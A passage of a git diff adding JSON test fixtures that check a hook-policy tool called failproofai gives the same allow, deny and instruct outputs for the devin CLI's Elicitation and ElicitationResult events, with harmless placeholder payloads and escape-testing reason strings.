reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/Elicitation/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/Elicitation/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..5641a3b1 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Elicitation/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/Elicitation/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/Elicitation/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..b7097890 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Elicitation/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/Elicitation/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/Elicitation/deny__tool-present__one-policy.json new file mode 100644 index 00000000..efd23570 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Elicitation/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/Elicitation/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/Elicitation/deny__tool-present__two-policies.json new file mode 100644 index 00000000..cee6e798 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Elicitation/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/Elicitation/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/Elicitation/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..61aa1ed9 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Elicitation/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Elicitation\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/Elicitation/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/Elicitation/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..d4afb808 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Elicitation/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Elicitation\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/Elicitation/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/Elicitation/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..9ba2b56e --- /dev/null +++ b/__tests__/parity/fixtures/devin/Elicitation/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Elicitation\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/Elicitation/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/Elicitation/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..d6823ba4 --- /dev/null +++ b/__tests__/parity/fixtures/devin/Elicitation/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Elicitation\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/ElicitationResult/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/ElicitationResult/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..7ba804e6 --- /dev/null +++ b/__tests__/parity/fixtures/devin/ElicitationResult/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/ElicitationResult/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/ElicitationResult/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..233ca2ae --- /dev/null +++ b/__tests__/parity/fixtures/devin/ElicitationResult/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/ElicitationResult/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/ElicitationResult/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..4fdb6523 --- /dev/null +++ b/__tests__/parity/fixtures/devin/ElicitationResult/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/ElicitationResult/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/ElicitationResult/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..48f1bd55 --- /dev/null +++ b/__tests__/parity/fixtures/devin/ElicitationResult/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/ElicitationResult/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/ElicitationResult/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..aea1df5d --- /dev/null +++ b/__tests__/parity/fixtures/devin/ElicitationResult/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/ElicitationResult/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/ElicitationResult/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..3f638f79 --- /dev/null +++ b/__tests__/parity/fixtures/devin/ElicitationResult/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/ElicitationResult/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/ElicitationResult/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..22628157 --- /dev/null +++ b/__tests__/parity/fixtures/devin/ElicitationResult/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/ElicitationResult/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/ElicitationResult/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..83db5327 --- /dev/null +++ b/__tests__/parity/fixtures/devin/ElicitationResult/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/ElicitationResult/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/ElicitationResult/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..6c141220 --- /dev/null +++ b/__tests__/parity/fixtures/devin/ElicitationResult/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/ElicitationResult/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/ElicitationResult/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..2f370453 --- /dev/null +++ b/__tests__/parity/fixtures/devin/ElicitationResult/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/ElicitationResult/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/ElicitationResult/deny__tool-present__one-policy.json new file mode 100644 index 00000000..6b444613 --- /dev/null +++ b/__tests__/parity/fixtures/devin/ElicitationResult/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": 